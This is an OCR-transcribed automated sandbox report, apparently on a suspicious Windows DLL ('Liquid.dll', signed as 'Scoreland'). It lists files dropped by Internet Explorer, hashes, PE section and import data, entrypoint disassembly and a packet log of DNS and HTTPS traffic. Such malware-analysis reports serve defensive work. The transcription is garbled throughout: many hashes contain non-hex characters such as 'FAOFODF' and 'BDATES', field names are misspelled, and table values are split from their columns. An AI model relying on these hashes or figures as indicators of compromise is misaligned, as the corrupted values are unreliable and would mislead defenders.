File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 311x333, frames 3

Category: dropped

Size (bytes): 21678

Entropy (8bit): 7.95145319457366

Encrypted: false

SSDEEP: 384:03CXfPQIH3m+p+WpoZPKZWs3kU+0otXQ7gaCzJ4lwyqWhkebMgHbVuyRINdj:OS1H3m+EWpmIWs5A7TEKpXebMq7Ey4j

MD5: FBFEA802D4422EC503C2701A1AB4753E

SHA1L: CF20ADC2A2EC43C099AF4D40F832B32B46751856

SHA-256: C29A7154E5FB296FAOFODF25775099629FCBF289DA1644758B14DFBAG77F02A6

SHA-512: 510158A02BA27DDED514CC3D07133A30428DF6056FE4602CC36C7F36A44A98D14B5417522F0F1CDC469C5DA856A279C654A79FAAAF62760BCBA10AA6823BIAI
6

Malicious: false
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB1cTaUQ[1].jpg

Preview:

ijstuvwxyz....
Zcdefghijstuvwxyz.
iX..@........ l)a>K/.g....[..
<...ttoc.o.@#a8.r]..p..)r..F})..
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.CX.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB1cTIdj[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 310x166, frames 3

Category: dropped

Size (bytes): 7077

Entropy (8bit): 7.8666309605688385

Encrypted: false

SSDEEP: 96:BGEEFWemhctkNy1n9u3paKBFr6 TtE6NFLr441Gx6KLBe6EOtf8IpA7cVRESZW:BFDLhWkg1lnaOhxNh42KR1opMc46W

MDS5: 4F44DD240C15302C5C5B102F74F65C78

SHA1L: 7480E9545A29E9EF767E2A5128C2FD986D783ACT

SHA-256: 629F08C72D1FBE20E5B1DOE4C904EC67700AE8111278DA2932F64AB92FBDATES

SHA-512: 56B86EC1EB9IF8EF58250C1E211456D05B987BIDA28F5BES71F2E6B178499C50D4C6AC1IDC1FI6AA31BBIEA3D19C83587DBCBELE7FOB6EIF782C5556E6E1CCE:
FO

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1cU6PP[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 622x368, frames 3
Category: dropped

Size (bytes): 38392

Entropy (8bit): 7.962653972987918

Encrypted: false

SSDEEP: 768:71LmtsYfhqlAOOV4xuO6ZbxMYFAAIXxpcsiXzfVIw2yC8QV711Tl:70TpXOO0ixj6ZIDtKxpcndlwA82f5

MD5: 2C056E2A88A8B54330C89CF028BFA412

SHA1L: 24E1D8B05C1BID56A64BF215FFD951A2BD53B562

SHA-256: 8BE09E49AB8B7879BA0342F08744D17C9A1A30070E675851F76F55907EA4C519

SHA-512: CD34C5A8077D4FE99025056AADF63B9C33534ABCCIBB4EF8026BB8D651CCABB26DC76901E9B60A40634588041568263FA4DAF7EGE7E4614EE414212F9D44AD(
Malicious: false

Preview:

...... JFIF..........Cuirs 00 )100)-,3:0>36F 7 -@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1cUfvx[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3

Category: dropped

Size (bytes): 10430

Entropy (8bit): 7.9366415023683015

Encrypted: false

SSDEEP: 192:BYQM+tMYi28iGMt2DqeG4St/J0rrHG40Xd7NLaDcRkIXHHAEpT:e6MNatt/JOm4oNx2DokVnapT

MDS5: 6736BBF5F6762CCD99D8978B5F2F23D9

SHA1L: AAC14FAO06E726DA593559A736A552745C15DA701

SHA-256: F6C84936433D57B2B77335A39B5DA65072ED54A36380DEF3481A763A632E71BA

SHA-512: 5EBOB2B92C34BB2E88CF762BD64FE3F5C20FDF9AES9CFD7E25DC44F0B807ECBCECF556C1B1594AF91264F8696B5ABA0686590B5246CFDF6CAFAE430653EDB
C06

Malicious: false

Preview:

.&'()*56789:CDEFGHIJSTUVWXY
U Qs O>. . E.>2.(.....

6.3~ ThE %3080
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB1cUkuC[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 300x250, frames 3
Category: dropped

Size (bytes): 9124

Entropy (8bit): 7.938010014800717

Encrypted: false

SSDEEP: 192:BbkTh1h1gxDIZQzxoaaORN1aQ00XRJ72JEDvpipq:ZEZhMxL9a0OX1aiXAo0q

MDS5: 562E989312FF3F1039D86ECA95283B17

SHA1L: 8200BB2C2FD821FC41B16DB695E75D6448E1637A

SHA-256: 3F3F632786A3C8FEB00851A64A2DFOE96FDAFB670C56037910C58680B67792FD

SHA-512: A365A5646012C97A7B3AC365B4912926D7C1324F474BFFFBEADF86502977DA0BI39BEDIDAALF8ES10727190087D31A84311F567877CECAE66101C5F6BBE128E.
Malicious: false

Preview:

tuvwxyz.
kU4

& 4y...CLZM.T... 4s..E ...00..X...T7...(>......za..X]6.ZW..&....Z.FO..e...L...&...EJW....n4..\VL.R.j..6Qp):.3kU..4.."..a(......uts..".7.Ln.1.n;.>..N.>.GKS..Z\.......
{A.yt.b.> j>.)Bw.}.}.GS.IW...s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB1cUnaM[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 12296

Entropy (8bit): 7.9189148496678605

Encrypted: false

SSDEEP: 192:BYSNpLKRWZKvQs8+q1GPgRV(sJ+Q42fNDjHO3tHtPKGPOjh904VM5cLVNrK44b0u:eS+RCaqgPWcsQQ4SEINDPSBAGFrKACH
MDS5: A1C9E27FCCF153CC1F337728E25D38DD

SHA1L: ABC39E02D0F6BF78D62DD4378AC816EAFESBIBEO

SHA-256: 3EB4538F381E606C34BAD9AE6F318DAAB5FF7FOE32859FA52C7B998AAD7BABOD

SHA-512: EF313343C3E82D6E7801CB94E555F8D05BEEI0B116D90796E0D95C180F848AD6118E45D06940D17F74B6985D1E8D81D5ABDBF19599EDC0BI124BB05C462349C
Malicious: false

Preview:

ijstuvwxyz
Zcdefghijstuvwxyz....
.=.0." . \A.Z.gV.h)~.q..@3.L#..=.l.gH..F.....La.g@.Jw4..z..
b2.."..S1.p2j6%.s@.<.{.JLgJ2...)9..R.H.L..8<g..Ru..w

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB5zDwX[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 704

Entropy (8bit): 7.504963021970784

Encrypted: false

SSDEEP: 12:6v/78/kFf6XyxGOK8VW5npVrgzBpelZv5C2jcmQ2T3SmAIARgJI5:3+BK8VW5b8NpelZRXIMQ7iACY

MDS5: C7DBA01C92D1B9060E51F056B26122BC

SHA1L: 440F7FC2EEB0D3A74076C6709219F29A31893F86

SHA-256: 156AE4B3A7EF2591982271E4287B174CDC4COEE612060AD23E5469ED1148D977

SHA-512: 95EF6D3FAB050C25CA83DCFFA8F7D9647C71A60EEEC81A10AES5820EB52D65C009A7699A4A581BAES254685AA391404DFB3206EDAEDCBC38D7F0083D0OF5DD8
c7

Malicious: false

Preview:

PNG........ IHDR...coovrviin a...sRGB......... gAMA.....a....pHYs.......... (J....UIDAT80.._HSa....6WQXZ..&Dtaz2........ *onXDLSL VDO HY n 2 v XXl &

.Q....2.2&hmi.@w'"...*.h....=.n.Y.\.Y..Kg..h9.<.5.V..ly..........BAw...t....%..q....2.......k.gS..W}Ts...6_3....[..T......;.j.]. XO.D\7...A=0.j/PF.we.(...K.1@.5........ @...1YJd.g...U..c/..(.
*.a.@Pe...n.z...05.... .COY ..Ly.H....oooo._looe. WF(.ES%f..........1....... 0....2.+Q..yN.*K.LO....MLH..e.l.ct|...fU... .70.J.2.0.... X.UG..RS ..;..p...6H...).t*....
B...Q...D<5.......%..x.$.1%F..D#A

[.nw.Z".">5j.d ....S...A ..IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB6Ma4a[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 396

Entropy (8bit): 6.789155851158018

Encrypted: false

SSDEEP: 6:6v/IhPkR/CnFPFaUSs1venewS8cJY 1pXVhk5Ywr+hrYYg5Y2dFSkjhTSuME|jrTp:6v/78/kFPFnXleeH8YY9yEMpyk3Tc
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB6Ma4a[1].png

MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

6D4A6F49A9B752ED252A81E201B7DB38

765E36638581717C254DB61456060B5A3103863A

500064FB54947219AB4D34F963068E2DE5S2647CF74A03943A63DC5A51847F588
34E44D7ECB99193427AA5F93EFC27ABC1D552CA58A391506ACA0B166D3831908675F764F25A698A064A8DA01ELF7F58FE7AGA40C924B99706EC9135540968F1A

false

PNG.....IHDR....c........... a...sRGB......... 9AMA.....a....pHYs.......... (3...IDAT8OC]. ..2...|.UA....GP.*|. .....E..b....&>.*.h....c....g.N..?5.1.8p.....>1..p..0.EA.A...0...cC...0
AS...._... Pe)on2. AE...Y?2......8p..d....$11.%.8.<6.Lf.a....0%..-q.8.4..". 5.G..L..p8 ..p......P..L.(.CJ@LA..P.)...8...[7MZ.. IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB7hjL[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

444

7.25373742182796

false
6:6v/IhPkR/CnFFDDRHbMgY]jEr710UbCO8j+qom62fke5Y Csd8sK CW5biVp:6v/78/kFFICENOsCoqoX4ke5V6D+bi7
D02BB2168E72B702ECDD93BF868B4190

9FB22D0AB1AAA390EOAFF5B721013E706D731BF3
D2750B6BEE5SD9BA31AFC66126EECB39099EF6C7E619DB72775B3E0E2C8C64A6F
6A801305D1D1EB448EEB62BC7062E6ED7297000070CA626FC32F5E0A3B8C093472BE72654C3552DA2648D8A491568376F3F2AC4EA0135529C96482ECF2B2FD3E

false

Static File Info

General
File type: PE32 executable (DLL) (GUI) Intel 80386, for MS Wi
ndows
Entropy (8bit): 6.806863795514619
TrID: e Win32 Dynamic Link Library (generic) (1002004/3)
99.60%
e Generic Win/DOS Executable (2004/3) 0.20%
e DOS Executable Generic (2002/1) 0.20%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
File name: 6007d134e83fctar.dll
File size: 411136
MD5: 718cd91e1249f01f6488998c93c79212
SHA1L: c40730026671a6757€42e91961178dbcbblc2e47
SHA256: 691fdaeb03dfa2b239d82322a3fd47c3b952ae9d47effa0l
00153fde537dc4e5
SHA512: 30f1b9d1d30bd60f6fb153eelfce6169fe5a3527e18825fa
1a366e4f6cebbc03692305e226abca7bfec4a219fd8a4fc
0f60114dc477d7b82a362181b5febl17ef
SSDEEP: 6144:ZgyntimMmhYrCYW1TmgGYIG42GunEyiKD3t18
VVGAO8xhtbOnhMV:Zqyth9hSC/1TVG42G3y/bkGmxht
ccv
File Content Preview: MZ..oiiiii L.LITh
is program cannot be run in DOS mode....$. X...B...
B...BVA.B...BVAB..B...B...B...B...B...B...B...B...B...B...B
...B...B...B...B...B...B...B...BRich...B........ PE..L..
File Icon

Icon Hash:

74f0edecccdceOed

Static PE Info

General
Entrypoint:
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General

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Instruction

push ebp

mov ebp, esp

cmp dword ptr [ebp+0Ch], 01h
jne 00007FEFBOEBF2C7h
call 00007FEFBOEBFA26h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]

call 00007FEFBOEBF183h
add esp, 0Ch

pop ebp

retn 000Ch

push ebp

mov ebp, esp

mov eax, dword ptr [ebp+08h]
push esi

mov ecx, dword ptr [eax+3Ch]
add ecx, eax

movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax

movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h

add esi, edx

cmp edx, esi

je 00007FEFBOEBF2DBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007FEFBOEBF2CCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax

jc 00007FEFBOEBF2CEh
add edx, 28h

cmp edx, esi

jne 00007FEFBOEBF2ACh
XOr eax, eax

pop esi

pop ebp

ret

mov eax, edx

jmp 00007FEFBOEBF2BBh
call 00007FEFBOEBFE15h

test eax, eax

Copyright null 2021

text
false
0x10000000

windows gui

32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

DYNAMIC_BASE, NX_COMPAT

0x56955465 [Tue Jan 12 19:30:45 2016 UTC]

o o O o O O

90052d8992fd75f28664bcf453a95718
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Instruction

jne 00007FEFBOEBF2C5h
xor al, al

ret

mov eax, dword ptr fs:[00000018h]
push esi

mov esi, 100622A8h

mov edx, dword ptr [eax+04h]
jmp 00007FEFBOEBF2C6h
cmp edx, eax

je 00007FEFBOEBF2D2h
XOr eax, eax

mov ecx, edx

lock cmpxchg dword ptr [esi], ecx
test eax, eax

jne 00007FEFBOEBF2B2h
xor al, al

pop esi

ret

mov al, 01h

pop esi

ret

call 00007FEFBOEBFDEOh
test eax, eax

je 00007FEFBOEBF2C9%h
call 00007FEFBOEBFC3Dh
jmp 00007FEFBOEBF2DAN
call 00007FEFBOEBD445h
push eax

call 00007FEFBOECBBBCh
pop ecx

test eax, eax

je 00007FEFBOEBF2C5h
xor al, al

ret

call 00007FEFBOECBDA2h
mov al, 01h

ret

Data Directories

Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x601e0 0x78 .rdata
IMAGE_DIRECTORY_ENTRY_IMPORT 0x60258 0x64 .rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x72000 0x520 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x73000 0x2898 .reloc
IMAGE_DIRECTORY_ENTRY_DEBUG 0x5e110 0x54 .rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x5e168 0x40 .rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x4a000 0x1c8 .rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Sections

Name Virtual Address Virtual Size Raw Size  Xored PE ZLIB Complexity File Type Entropy Characteristics
text 0x1000 0x48e52 0x49000 False 0.672951894264 data 6.91369474093 IMAGE_SCN_MEM_EXECUTE,

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
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Name Virtual Address
.rdata  0x4a000
.data  0x61000
.gfids  0x71000

.rsrc 0x72000

.reloc  0x73000

Resources

Name
RT_VERSION
RT_MANIFEST

Imports

DLL
KERNEL32.dll

ole32.dll
CRYPT32.dll

RPCRTA4.dIl

Exports

Name
DlIRegisterServer
Lawusual

Shallsister

Version Infos

Description
LegalCopyright
InternalName
FileVersion
CompanyName
ProductName
ProductVersion
FileDescription
OriginalFilename

Translation

Possible Origin

Virtual Size

Ox16cfe

0xff80

0x344

0x520

0x2898

RVA

0x720a0
0x723a0

Language of compilation system

Copyright null 2021

Raw Size

0x16e00

0x1000

0x400

0x600

0x2a00

Xored PE

False

False

ZLIB Complexity
0.518346567623

0.237060546875

File Type

data

DOS executable (block device
driver ght (c)

Entropy
5.8401392147

3.56865616163

Characteristics

IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED
_DATA,

False

False

False

Size
0x300
0x17d

IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

0.3857421875 data 2.78288789713 IMAGE_SCN_CNT_INITIALIZED
_DATA,

IMAGE_SCN_MEM_READ

0.404296875 data 3.73412547743 IMAGE_SCN_CNT_INITIALIZED
_DATA,

IMAGE_SCN_MEM_READ

0.724609375 data 6.53775547573 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_DISCARDA

BLE, IMAGE_SCN_MEM_READ

Type Language Country

data English United States

XML 1.0 document text English United States

Import

DeleteFileA, ResetEvent, GetLocalTime, FindFirstChangeNotificationA, GetCurrentThread, WriteConsoleW,
CreateFileW, HeapSize, ReadConsoleW, CreateFileA, OpenMutexA, Sleep, DuplicateHandle, ReleaseMutex,
CreateMutexA, GetEnvironmentVariableA, PeekNamedPipe, VirtualProtect, GetShortPathNameA, SetStdHandle,
FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, GetACP,
IsValidCodePage, FindNextFileW, FindFirstFileExW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection,
DeleteCriticalSection, EncodePointer, DecodePointer, MultiByteToWideChar, SetLastError,
InitializeCriticalSectionAndSpinCount, TIsAlloc, TIsGetValue, TIsSetValue, TIsFree, GetSystemTimeAsFileTime,
GetModuleHandleW, GetProcAddress, LCMapStringW, GetLocalelnfoW, GetStringTypeW, GetCPInfo,
UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess,
IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessld, GetCurrentThreadld, InitializeSListHead,
IsDebuggerPresent, GetStartupinfowW, RtlUnwind, RaiseException, InterlockedFlushSList, GetLastError, FreeLibrary,
LoadLibraryExW, HeapAlloc, HeapReAlloc, HeapFree, ExitProcess, GetModuleHandleExW, GetModuleFileNameW,
IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetStdHandle, GetFileType, CloseHandle,
FlushFileBuffers, WriteFile, GetConsoleCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx,
GetProcessHeap, FindClose

OleSetContainedObject, OleUninitialize, Olelnitialize

CertFreeCertificateChain, CryptEncodeObject, CertCloseStore, CertAddCertificateContextToStore,
CertFreeCertificateContext, CertGetCertificateChain, CryptDecodeObject, CryptHashPublicKeyInfo,
CertCreateCertificateContext, CertVerifyCertificateChainPolicy

UuidCreate, RpcMgmtSetServerStackSize, UuidFromStringA, NdrServerCall2, RpcServerListen, RpcRevertToSelf,
RpclimpersonateClient, RpcServerRegisterlf, I_RpcBindinglsClientLocal, RpcRaiseException

Ordinal Address
1 0x10029b30
2 0x10029610

3 0x10029670

Data

2011 Scoreland Corporation. All rights reserved
Liquid.dll

4.8.3.491

Scoreland

Scoreland Busy nose

4.8.3.491

Busy nose

Liquid.dll

0x0409 0x04b0

Country where language is spoken Map
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Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Network Port Distribution

Total Packets: 125

® 53 (DNS)
® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 20, 2021 07:46:56.894104004 CET 49741 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.895219088 CET 49742 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.896059036 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.896960974 CET 49744 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.898910046 CET 49745 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.899184942 CET 49746 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.936875105 CET 443 49741 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.936955929 CET 49741 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.937731981 CET 443 49742 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.937825918 CET 49742 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.938590050 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.938596964 CET 49742 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.938654900 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.939313889 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.939599991 CET 443 49744 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.939680099 CET 49744 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.940207958 CET 49744 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.942609072 CET 443 49745 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.942635059 CET 443 49746 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.942708969 CET 49745 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.942759991 CET 49746 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.943495035 CET 49746 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.943506956 CET 49745 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.969063044 CET 49741 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.981208086 CET 443 49742 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.981940031 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.982511044 CET 443 49742 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.982552052 CET 443 49742 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.982574940 CET 443 49742 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.982583046 CET 49742 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.982604980 CET 49742 443 192.168.2.3 151.101.1.44
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 20, 2021 07:46:56.982620001 CET 49742 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.982934952 CET 443 49744 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.983185053 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.983237028 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.983242035 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.983270884 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.983284950 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.983318090 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.984330893 CET 443 49744 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.984369040 CET 443 49744 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.984383106 CET 443 49744 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.984407902 CET 49744 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.984442949 CET 49744 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.984447956 CET 49744 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.987356901 CET 443 49746 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.987377882 CET 443 49745 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.988286972 CET 443 49746 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.988308907 CET 443 49746 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.988327026 CET 443 49746 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.988344908 CET 443 49745 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.988357067 CET 443 49745 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.988379955 CET 49746 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.988400936 CET 443 49745 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:56.988408089 CET 49746 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.988431931 CET 49745 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.988454103 CET 49745 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.993269920 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.994100094 CET 49745 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.994502068 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.994707108 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.994816065 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.994916916 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.995022058 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.995124102 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.995230913 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.995332003 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.995430946 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.995529890 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.995599985 CET 49745 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.998929977 CET 49746 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:56.999582052 CET 49746 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.011872053 CET 443 49741 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.012999058 CET 443 49741 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.013025999 CET 443 49741 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.013035059 CET 443 49741 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.013109922 CET 49741 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.013134003 CET 49741 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.015454054 CET 49742 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.015918016 CET 49742 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.016177893 CET 49744 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.016685963 CET 49744 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.025943995 CET 49741 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.026320934 CET 49741 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.036087990 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.036164045 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.037029028 CET 443 49745 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.037120104 CET 49745 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.037254095 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.037497044 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.037651062 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.038896084 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.040497065 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.040522099 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.040540934 CET 443 49743 151.101.1.44 192.168.2.3
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 20, 2021 07:46:57.040561914 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.040575027 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.040580034 CET 443 49743 151.101.1.44 192.168.2.3
Jan 20, 2021 07:46:57.040595055 CET 49743 443 192.168.2.3 151.101.1.44
Jan 20, 2021 07:46:57.040621996 CET 49743 443 192.168.2.3 151.101.1.44

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 20, 2021 07:46:41.600563049 CET 63492 53 192.168.2.3 8.8.8.8
Jan 20, 2021 07:46:41.660136938 CET 53 63492 8.8.8.8 192.168.2.3
Jan 20, 2021 07:46:42.438476086 CET 60831 53 192.168.2.3 8.8.8.8
